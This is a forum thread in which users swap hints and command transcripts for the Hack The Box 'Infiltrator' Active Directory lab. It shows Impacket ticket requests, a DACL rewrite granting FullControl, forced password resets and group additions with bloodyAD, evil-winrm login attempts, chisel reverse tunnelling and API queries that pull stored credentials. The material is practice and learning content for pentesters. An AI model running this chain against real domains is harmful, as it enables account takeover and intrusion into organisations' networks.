[spamdegratis5]

O.martinez credentials can be found querying the API. You need the chatroom key (and obviously the api key, obtained after login using winrm_svc in the client) that can be found in the OM.db3 database, can be found in AppData folder of winrm_svc.

those creds are working for messenger but not for host/rdp. am i missing something?

correct, I haven't found yet the use. Someone told me that the password brute force is a rabbit hole.

[spamdegratis5]

Enlighten me plssssss

┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# faketime -f "-5m" impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'
Impacket v0.11.0 - Copyright 2023 Fortra

[*]Saving ticket in d.anderson.ccache
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# export KRB5CCNAME=d.anderson.ccache
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# faketime -f "-5m" /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip dc01.infiltrator.htb
Impacket v0.11.0 - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240902-015106.bak
[*]DACL modified successfully!
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# faketime -f "-5m" python3 bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# faketime -f "-5m" python3 bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" -u "E.RODRIGUEZ" -p 'WAT?watismypass!' add groupMember 'CHIEFS MARKETING' 'E.RODRIGUEZ'
[+] E.RODRIGUEZ added to CHIEFS MARKETING
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# faketime -f "-5m" python3 bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" -u "E.RODRIGUEZ" -p 'WAT?watismypass!' set password "M.HARRIS" 'WAT?watismypass!'
[+] Password changed successfully!
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# faketime -f "-5m" impacket-getTGT infiltrator.htb/m.harris:'WAT?watismypass!'
Impacket v0.11.0 - Copyright 2023 Fortra

[*]Saving ticket in m.harris.ccache
                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# export KRB5CCNAME=m.harris.ccache

                                                                                                                                                 
┌──(root㉿ciel)-[/home/ciel/Desktop/HTB/infiltrator]
└─# evil-winrm -i dc01.INFILTRATOR.HTB -u "m.harris" -r INFILTRATOR.HTB
                                       
Evil-WinRM shell v3.5
                                       
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                       
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winr...completion
                                       
Warning: User is not needed for Kerberos auth. Ticket will be used
                                       
Info: Establishing connection to remote endpoint
                                       
Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure.  Minor code may provide more information                                                                                                               
Cannot contact any KDC for realm 'INFILTRATOR.HTB'                                                                                               
                                                                                                                                                 
                                       
Error: Exiting with code 1

[*]you're missing infiltrator.htb realm in your /etc/krb5.conf file

[a44857437]

O.martinez credentials can be found querying the API. You need the chatroom key (and obviously the api key, obtained after login using winrm_svc in the client) that can be found in the OM.db3 database, can be found in AppData folder of winrm_svc.

Found the creds, but they don't work? Did they work for you?

---

O.martinez credentials can be found querying the API. You need the chatroom key (and obviously the api key, obtained after login using winrm_svc in the client) that can be found in the OM.db3 database, can be found in AppData folder of winrm_svc.

I've got both the API key and the chatroom key from the OM.db3 database, but every time request the logs endpoint i get "logs chatroom does not exists!". I'm following the API docs from the official website.

This worked for me:

```
curl -s -k -H 'API-KEY: 55...GG' -H 'Accept: application/json, text/javascript, */*' -H 'Host: infiltrator.htb:14125' 'http://127.0.0.1:14125/api/chatrooms/logs?roomkey=2..m&fromdate=2024/02/01&todate=2024/09/01' | jq '.logs'
```

You need the `fromdate` and `todate`, I skipped them first and got the same error...

[N3rdyN3xus]

./chisel server -p 9999 --reverse
.\chisel client lhost:9999 R:14406:127.0.0.1:14406

[a44857437]

Looking at the bloodhound output, O.Martinez is not a special user with magic privileges... if it is the path (which I am starting to doubt), then it must be something in her data.
Only other thing I have seen is that she has the 'Drive' option in the chat, this may be good for uploading stuff?

[spamdegratis5]

Looking at the bloodhound output, O.Martinez is not a special user with magic privileges... if it is the path (which I am starting to doubt), then it must be something in her data.
Only other thing I have seen is that she has the 'Drive' option in the chat, this may be good for uploading stuff?

What do you mean by drive option? If you mean the little drive icon, it appears in all chatrooms (in all users). I've tried clicking in it, but it hasn't worked with any user.

[ipfi]

./chisel server -p 9999 --reverse
.\chisel client lhost:9999 R:14406:127.0.0.1:14406

how do u run chisel on the client - through evil-winrm?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[ent0xE]

o.martinez has the flag CanRDP on bloodhound, i think that is the way forward, but creds dont work....

[spamdegratis5]

Ok, the next step after getting martinez credentials is using the calendar, create an event and see the magic happens. (this should be done from the windows client )

[fuliye]

bro , how to fix it ?my bloodyAD is error
bloodyAD --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "e.rodriguez" -p 'WAT?watismypass!' set password "m.harris" 'WAT?watismypass!'
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/asyauth/protocols/kerberos/client/native.py", line 139, in authenticate
for target in self.ccred.ccache.list_targets():
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute 'list_targets'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/usr/local/bin/bloodyAD", line 8, in <module>
sys.exit(main())
^^^^^^
File "/usr/local/lib/python3.11/dist-packages/bloodyAD/main.py", line 144, in main
output = args.func(conn, **params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/bloodyAD/cli_modules/set.py", line 86, in password
conn.ldap.bloodymodify(target, {"unicodePwd": op_list})
^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/bloodyAD/network/config.py", line 80, in ldap
self._ldap = Ldap(self.conf)
^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/bloodyAD/network/ldap.py", line 122, in __init__
raise e
File "/usr/local/lib/python3.11/dist-packages/bloodyAD/network/ldap.py", line 110, in __init__
raise err
File "/usr/lib/python3/dist-packages/msldap/connection.py", line 407, in bind
raise err
File "/usr/lib/python3/dist-packages/asyauth/protocols/kerberos/client/native.py", line 148, in authenticate
tgt = await self.kc.get_TGT(override_etype = self.credential.etypes)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/minikerberos/aioclient.py", line 314, in get_TGT
rep = await self.do_preauth(supported_encryption_method, with_pac=with_pac)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/minikerberos/aioclient.py", line 195, in do_preauth
raise KerberosError(rep, 'Preauth failed!')
minikerberos.protocol.errors.KerberosError: Preauth failed! Error Name: KDC_ERR_PREAUTH_FAILED Detail: "Pre-authentication information was invalid"

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.